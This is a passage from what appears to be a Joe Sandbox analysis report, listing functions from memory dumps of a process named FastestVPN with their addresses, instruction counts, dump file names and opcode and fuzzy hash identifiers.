                                                                                                                      • Opcode Fuzzy Hash: abfdd0b96fb83c99dcf701b8d364edde7c204ac11f54a4c3c9942dc5f70a8a64
                                                                                                                      • Instruction Fuzzy Hash: 48F0F976600604AF97248F0ADD84C27FBADEFC4A70755C59AEC4A4B612C771FC42CEA0
                                                                                                                      Function 0B4BF628 Relevance: .0, Instructions: 37COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 8d36f24e7c9a3c9eaf9f8a85a72a69d90354ac511dd99ef82e1b0cfee5a203e6
                                                                                                                      • Instruction ID: 0b5ab1bbd64d63a03da50950135f48c5996576a311c1aaa0263a037c3d857e92
                                                                                                                      • Opcode Fuzzy Hash: 8d36f24e7c9a3c9eaf9f8a85a72a69d90354ac511dd99ef82e1b0cfee5a203e6
                                                                                                                      • Instruction Fuzzy Hash: 6FF0E2313051105FC768CBA9E84096BFBEAEFCD31031004BEE109C3360DA319C018B90
                                                                                                                      Function 0B4BFDB3 Relevance: .0, Instructions: 37COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: e455483da847634e92f5a721818692623e45e8e342711eb4ee09a5c71c63c0ae
                                                                                                                      • Instruction ID: a37b6ed036b1cc73dd66aa3ef5ac66618706d9b472b391d2e810fbb57a1f8642
                                                                                                                      • Opcode Fuzzy Hash: e455483da847634e92f5a721818692623e45e8e342711eb4ee09a5c71c63c0ae
                                                                                                                      • Instruction Fuzzy Hash: 1F01BF36B00108DFCB40DF98E890CDDB775FB88264B14C166D91597254D732EA17CB90
                                                                                                                      Function 0B4863C7 Relevance: .0, Instructions: 37COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 48ed4e6ea6d12a6e22c8161c5e8daf3d8c06e2f84018f38a10f0f7d92dc70ddc
                                                                                                                      • Instruction ID: 7bed4837597f6b894fe13fcb5f1e5f4e1e8816f02a293768e3601659da204706
                                                                                                                      • Opcode Fuzzy Hash: 48ed4e6ea6d12a6e22c8161c5e8daf3d8c06e2f84018f38a10f0f7d92dc70ddc
                                                                                                                      • Instruction Fuzzy Hash: E9F0C2317043109FC7219A28D845F5A7BA5DB81B24F15816BE618CF2E7C7B1D846D745
                                                                                                                      Function 0B483EC2 Relevance: .0, Instructions: 37COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: a2332b84035a8e0d49d2a28919dbccce3c99a9a2787bb6c6d5ce2b6f84659446
                                                                                                                      • Instruction ID: 13f20c1a5faeb1ab1997df408b8a8a0cf028d7a2882d9ff70ab85d82e13cbb51
                                                                                                                      • Opcode Fuzzy Hash: a2332b84035a8e0d49d2a28919dbccce3c99a9a2787bb6c6d5ce2b6f84659446
                                                                                                                      • Instruction Fuzzy Hash: 15F0CD303002008FCB68E768E4A09AE77D7EFC9611310896CD40A8B751EF30AD0797E2
                                                                                                                      Function 0B51DACB Relevance: .0, Instructions: 37COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: bce6715e5cc303c267d77d6f73a7f7ed25386b2c07ed5e71230c19c954d9bc3e
                                                                                                                      • Instruction ID: c0aed1a396ec3fbe089ccf56975bbcb44b26dd0e270012cae8812009513977a9
                                                                                                                      • Opcode Fuzzy Hash: bce6715e5cc303c267d77d6f73a7f7ed25386b2c07ed5e71230c19c954d9bc3e
                                                                                                                      • Instruction Fuzzy Hash: B6014B706042168FEB04EFA4C454A6E7BB2BF88600F1088AAD902E72A4DB719C41DF60
                                                                                                                      Function 0237DACC Relevance: .0, Instructions: 36COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2722577823.000000000237D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0237D000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_237d000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 5b7122eca61bc47364b2fc9e12bad17c497cf127dbb998b12a75f8259faac993
                                                                                                                      • Instruction ID: 02b4b79e1e1900c505eab853b54981ccd6d84191cdf532b78489e297080229a2
                                                                                                                      • Opcode Fuzzy Hash: 5b7122eca61bc47364b2fc9e12bad17c497cf127dbb998b12a75f8259faac993
                                                                                                                      • Instruction Fuzzy Hash: F4F06D72404348AEEB208A16CC84B62FF98EF45635F18C55AED584A296C379A844CAB1
                                                                                                                      Function 0B483EC8 Relevance: .0, Instructions: 36COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 09adc84d3a887f559929cb83ce6eceb9b3c5e6cd516fc924d74449944795c492
                                                                                                                      • Instruction ID: f24f677bad11396dc45aefd921f0aed495e2b683314626351a881cfdc037e6a8
                                                                                                                      • Opcode Fuzzy Hash: 09adc84d3a887f559929cb83ce6eceb9b3c5e6cd516fc924d74449944795c492
                                                                                                                      • Instruction Fuzzy Hash: 50F0B4303003108FCA68E768E45096FB3DBEFC9651310856CD80A9B354EF30ED0697E2
                                                                                                                      Function 0B48CE98 Relevance: .0, Instructions: 36COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 68cbb0ea5d5aa91cfb0634e268eaab8073854c2a7356cb730318046360a8a53f
                                                                                                                      • Instruction ID: 92ef618f443fb044ca80415c23b92594482cb6b2e9cae505495d54be2ea91737
                                                                                                                      • Opcode Fuzzy Hash: 68cbb0ea5d5aa91cfb0634e268eaab8073854c2a7356cb730318046360a8a53f
                                                                                                                      • Instruction Fuzzy Hash: 6FF054357006108FC748EA3ED48486E73EAEFCD65031580BAE506C7371DE70DC028650
                                                                                                                      Function 0237D640 Relevance: .0, Instructions: 35COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2722577823.000000000237D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0237D000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_237d000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 6f9460605e0a300172b00be29c12aeb03fd97dae9fd2e9943aa6f313e59553f2
                                                                                                                      • Instruction ID: 7da562c4de530b8d87c5b4c4c21de4fa3aa23d828dc469d0ad018ce40fd74746
                                                                                                                      • Opcode Fuzzy Hash: 6f9460605e0a300172b00be29c12aeb03fd97dae9fd2e9943aa6f313e59553f2
                                                                                                                      • Instruction Fuzzy Hash: 67F0EC75104744AFD725CF06CD84D23BBB9EF856607198489E85A4B662C775FC42CF60
                                                                                                                      Function 0B48CE3F Relevance: .0, Instructions: 35COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 053550b5d092d1e678ba050833aac9e7c4030e2dceec364e26b240e2b30eefeb
                                                                                                                      • Instruction ID: f1e32d56677fccc26b97728248b893ba2fdaf6b4ac5080d0f6f1096a539d7767
                                                                                                                      • Opcode Fuzzy Hash: 053550b5d092d1e678ba050833aac9e7c4030e2dceec364e26b240e2b30eefeb
                                                                                                                      • Instruction Fuzzy Hash: CEF05E35504655EFC715DF69E8C086BBBF5FF9671030041AEE409CB212C731E856CBA0
                                                                                                                      Function 0B486EA0 Relevance: .0, Instructions: 35COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: e5ec4a1e90da81625e560af3f9361a2fccf621f4893bcd505ea10311b96b0f4f
                                                                                                                      • Instruction ID: f4b70c2130c2b37e46ad0e0d55364441850608bdab8ceefb5031f330d3b197d1
                                                                                                                      • Opcode Fuzzy Hash: e5ec4a1e90da81625e560af3f9361a2fccf621f4893bcd505ea10311b96b0f4f
                                                                                                                      • Instruction Fuzzy Hash: EEF037726041E87F8B615E9B5C10DFF7FEDDA8E1A2708405BFE99D2141C42DC920ABB0
                                                                                                                      Function 0B4854F8 Relevance: .0, Instructions: 35COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 2fe8c2087f0e88635750ed1a86bbcd40d89003471470d646e18785c755c46847
                                                                                                                      • Instruction ID: 73744f38a4bfb0948890c638d5fd64f37a3187ae469406e9fc634efde0fe4b2d
                                                                                                                      • Opcode Fuzzy Hash: 2fe8c2087f0e88635750ed1a86bbcd40d89003471470d646e18785c755c46847
                                                                                                                      • Instruction Fuzzy Hash: 0AF02B30505741CFCB21DF25D4005AFBBF3FF81620B0486AFD0564665AC774E585CB50
                                                                                                                      Function 0B5187F8 Relevance: .0, Instructions: 34COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 6f63bc66a86bfa01dda6e58d7a4e566ff71b63519958c1ca3df2c37770377377
                                                                                                                      • Instruction ID: 0046b1684d7c7a04ffd0ed7f2670783b00e1241e10fc4dd40dfbfa576aa1df27
                                                                                                                      • Opcode Fuzzy Hash: 6f63bc66a86bfa01dda6e58d7a4e566ff71b63519958c1ca3df2c37770377377
                                                                                                                      • Instruction Fuzzy Hash: 6FF0E5223183515FBB654A9968909773FB9EAC92A03040CEAE506C7253D5659C4283B2
                                                                                                                      Function 0B4BF570 Relevance: .0, Instructions: 33COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 625a947687553f05495582f4918eb0a60b8e66736e8568f18b361caa6706a3db
                                                                                                                      • Instruction ID: d925959abba066558cb01f949c3f31d3874bb72ad207ab7b73af42f9cbaa4904
                                                                                                                      • Opcode Fuzzy Hash: 625a947687553f05495582f4918eb0a60b8e66736e8568f18b361caa6706a3db
                                                                                                                      • Instruction Fuzzy Hash: 37F0E275D0420CEFCB00EFB9D9419DDBFF6AB45340F2080ABD509A7221EA369B199B91
                                                                                                                      Function 0B5187A0 Relevance: .0, Instructions: 33COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 3e9a7459240837fa2249f7e93f4bc11c3c2ace1331b8028af831848b6a329f5e
                                                                                                                      • Instruction ID: f4b2c1812f5e46e7b42e535c0bb7b9ad140b98f19ebfb68454c4464b4103edc8
                                                                                                                      • Opcode Fuzzy Hash: 3e9a7459240837fa2249f7e93f4bc11c3c2ace1331b8028af831848b6a329f5e
                                                                                                                      • Instruction Fuzzy Hash: 8EF058323002109FE618EB29E88595AB7E6FFC92603400ABCD50ACB755EE30ED01CBD0
                                                                                                                      Function 0B51D6B8 Relevance: .0, Instructions: 33COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 979ef52895498696cff7c6f33127994b572fd6ff44f923c8b823df97fe599228
                                                                                                                      • Instruction ID: 78f0dfb566917725a0033aba769c0dcaeec00ed9bb3c7cdfc5a68bb187e57dc8
                                                                                                                      • Opcode Fuzzy Hash: 979ef52895498696cff7c6f33127994b572fd6ff44f923c8b823df97fe599228
                                                                                                                      • Instruction Fuzzy Hash: 7CF08932E1020997EF05D760C455AEFBBF6AF84700F418976D413A7280EFB5590596D1
                                                                                                                      Function 0B48EB39 Relevance: .0, Instructions: 32COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 2a94bc2562e4608cac1a751fe2766980ad56f3eed7f7cd2e959fb068b6b603ef
                                                                                                                      • Instruction ID: 0ef5f6ffc83194c1d6a040568ec61a5cdca5597f0b760036c0160a6cda7a6203
                                                                                                                      • Opcode Fuzzy Hash: 2a94bc2562e4608cac1a751fe2766980ad56f3eed7f7cd2e959fb068b6b603ef
                                                                                                                      • Instruction Fuzzy Hash: 0BF0BE327052806FE3258E3AE944997BFF6EBC276575441AAD409C7752C720EC02C720
                                                                                                                      Function 0B51D845 Relevance: .0, Instructions: 31COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: aea552d75445ead59860a33b82eb4f8bef75b7712b22f77d76b634afd9b2800a
                                                                                                                      • Instruction ID: 9f7eb37c12ff353fd6f8d9985d2834e23ea8168fb1bf7973421b557b591e7441
                                                                                                                      • Opcode Fuzzy Hash: aea552d75445ead59860a33b82eb4f8bef75b7712b22f77d76b634afd9b2800a
                                                                                                                      • Instruction Fuzzy Hash: 74F01D71E012088FEB05DFA8D884ACDBBB5FF99321F1485A6D505EB251D730AD85CF60
                                                                                                                      Function 0B4BF638 Relevance: .0, Instructions: 30COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: ca934586c5713757b65b4074c23823b725928927d4dd5084fb6d7ac4c5622f04
                                                                                                                      • Instruction ID: 3bde4463f3407a6559da7f4bb748da403a964a0a1457b3f0c246362ef81815dd
                                                                                                                      • Opcode Fuzzy Hash: ca934586c5713757b65b4074c23823b725928927d4dd5084fb6d7ac4c5622f04
                                                                                                                      • Instruction Fuzzy Hash: 42E06D767001145F8754DBAEE94496ABBEEEFCD661310447AF20AC3360EA719C008BA0
                                                                                                                      Function 0B517362 Relevance: .0, Instructions: 30COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: be84824cb831251e18d453499c330ff40d46e37e8106415239d7f2fdb0c7072a
                                                                                                                      • Instruction ID: fd2333a212dfa2a38e561d20d59a6f9329606ddbb165623abd6a4359be6ec1f5
                                                                                                                      • Opcode Fuzzy Hash: be84824cb831251e18d453499c330ff40d46e37e8106415239d7f2fdb0c7072a
                                                                                                                      • Instruction Fuzzy Hash: D4F0150170D7E54FCB03677858702AA7FB25E8B14079A46D3C4C4DB2A7D6185C6AD3A3
                                                                                                                      Function 0B51CFD9 Relevance: .0, Instructions: 30COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 9713e7735163624a6a4e408b7f3b75ae5c878fd58b36a860a8dde67a190bb3cb
                                                                                                                      • Instruction ID: a370453eb4b17dd959ada07b78fe6eda532d933e01c710fc3070f450b2aa1cce
                                                                                                                      • Opcode Fuzzy Hash: 9713e7735163624a6a4e408b7f3b75ae5c878fd58b36a860a8dde67a190bb3cb
                                                                                                                      • Instruction Fuzzy Hash: 3DF02430515244DFC742EF74E850AAD3FB1FF81201B0049E6C88493599DB311A1DE712
                                                                                                                      Function 0B5143C4 Relevance: .0, Instructions: 29COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 19a61f97b2879f3030648293c184b54cc1d9b635471fb63e299f59a7f9f440e1
                                                                                                                      • Instruction ID: 7fca53d2620e8efc4397e6b2766915c12d227c86557dd417c9ef74b4e2c73c4a
                                                                                                                      • Opcode Fuzzy Hash: 19a61f97b2879f3030648293c184b54cc1d9b635471fb63e299f59a7f9f440e1
                                                                                                                      • Instruction Fuzzy Hash: B5F05E70A44105CBFB189E55C995BFD7BB4BB85740F14689ED002A6381CB3549C2CF21
                                                                                                                      Function 0B515FE8 Relevance: .0, Instructions: 28COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 6a7c0a3b72f1a520f44ee2cde94a8d638fd52aa044c1b7b4a2ef4c71e6ac9277
                                                                                                                      • Instruction ID: b8f3a440f981e5bd6d492613205d16edf9ea17a23de61fc2016009487d8ec00f
                                                                                                                      • Opcode Fuzzy Hash: 6a7c0a3b72f1a520f44ee2cde94a8d638fd52aa044c1b7b4a2ef4c71e6ac9277
                                                                                                                      • Instruction Fuzzy Hash: 77F0E5312042640FD709BB24C591E983FE76FCA64074609D5C548AF266CF20AC068BE2
                                                                                                                      Function 0B4B6DB0 Relevance: .0, Instructions: 27COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: cc4df20806ae1e0b09a67cefcd0bcdac4294af319a4f2b5fa74c72cb8c2b6fda
                                                                                                                      • Instruction ID: 8f3129016b88c5e2a321538ec437764167f65c531573f852e1e2955cb4f140b1
                                                                                                                      • Opcode Fuzzy Hash: cc4df20806ae1e0b09a67cefcd0bcdac4294af319a4f2b5fa74c72cb8c2b6fda
                                                                                                                      • Instruction Fuzzy Hash: 07E092324242149FC7558B7CD980C95BBBAEE45624305469AE548CB262D331F843E725
                                                                                                                      Function 0B48CE50 Relevance: .0, Instructions: 27COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 173f5a372f260ef3c735c107c45dc51dd47aa0da82ff0b9027912e110c805698
                                                                                                                      • Instruction ID: 009e3af037e1024c70f85ff437177dcbd27ecf0325160a84e828038a70f68cb5
                                                                                                                      • Opcode Fuzzy Hash: 173f5a372f260ef3c735c107c45dc51dd47aa0da82ff0b9027912e110c805698
                                                                                                                      • Instruction Fuzzy Hash: 44E01A76604629EF9715DA59E8C4C6BBBEDFB89761310816AE818C7301C772EC52CBE0
                                                                                                                      Function 0B516FD8 Relevance: .0, Instructions: 27COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: c13470ad474dcb2bf4a034eebaac246f8f6b976975e3e3f4825a0bef67bba91b
                                                                                                                      • Instruction ID: a7cc046a37f8dbcd6fd1c4d75b1c8d48eaba0cfcc66eb173add5013a5e8f204a
                                                                                                                      • Opcode Fuzzy Hash: c13470ad474dcb2bf4a034eebaac246f8f6b976975e3e3f4825a0bef67bba91b
                                                                                                                      • Instruction Fuzzy Hash: 2DE04835B011549BD716537DA40487F7BA6DBC925972944BEE809C7351EE35CC02C751
                                                                                                                      Function 0B516FE8 Relevance: .0, Instructions: 27COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: a8d64b820d459447ad61524a6b22bd2c39e49cf85f0676991d3107c43fa4c0e2
                                                                                                                      • Instruction ID: 8251a6cb6b134fa794879d23976c398d811d5d1158742b098b0d5aec76f5f479
                                                                                                                      • Opcode Fuzzy Hash: a8d64b820d459447ad61524a6b22bd2c39e49cf85f0676991d3107c43fa4c0e2
                                                                                                                      • Instruction Fuzzy Hash: 17E04636B00218979625226EB4085BE769ADBC8266B1840BEEA0DC3300EE36C80297A0
                                                                                                                      Function 0BC46F80 Relevance: .0, Instructions: 26COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2764630812.000000000BC40000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BC40000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_bc40000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 308270bc77adb703bf05e3e123d0dab91c1f6f05a25bdb57b3dc6fcf2560979c
                                                                                                                      • Instruction ID: a7c8cb7d7d39feb1ec69388fe38e8949a0453a941ff555a569420409bd5fdc82
                                                                                                                      • Opcode Fuzzy Hash: 308270bc77adb703bf05e3e123d0dab91c1f6f05a25bdb57b3dc6fcf2560979c
                                                                                                                      • Instruction Fuzzy Hash: 7CF058B0D10B168FE764DF6AC40036BBAF0BF89200F108A7EC49AE3615E7B057098BD1
                                                                                                                      Function 0B48ED68 Relevance: .0, Instructions: 26COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
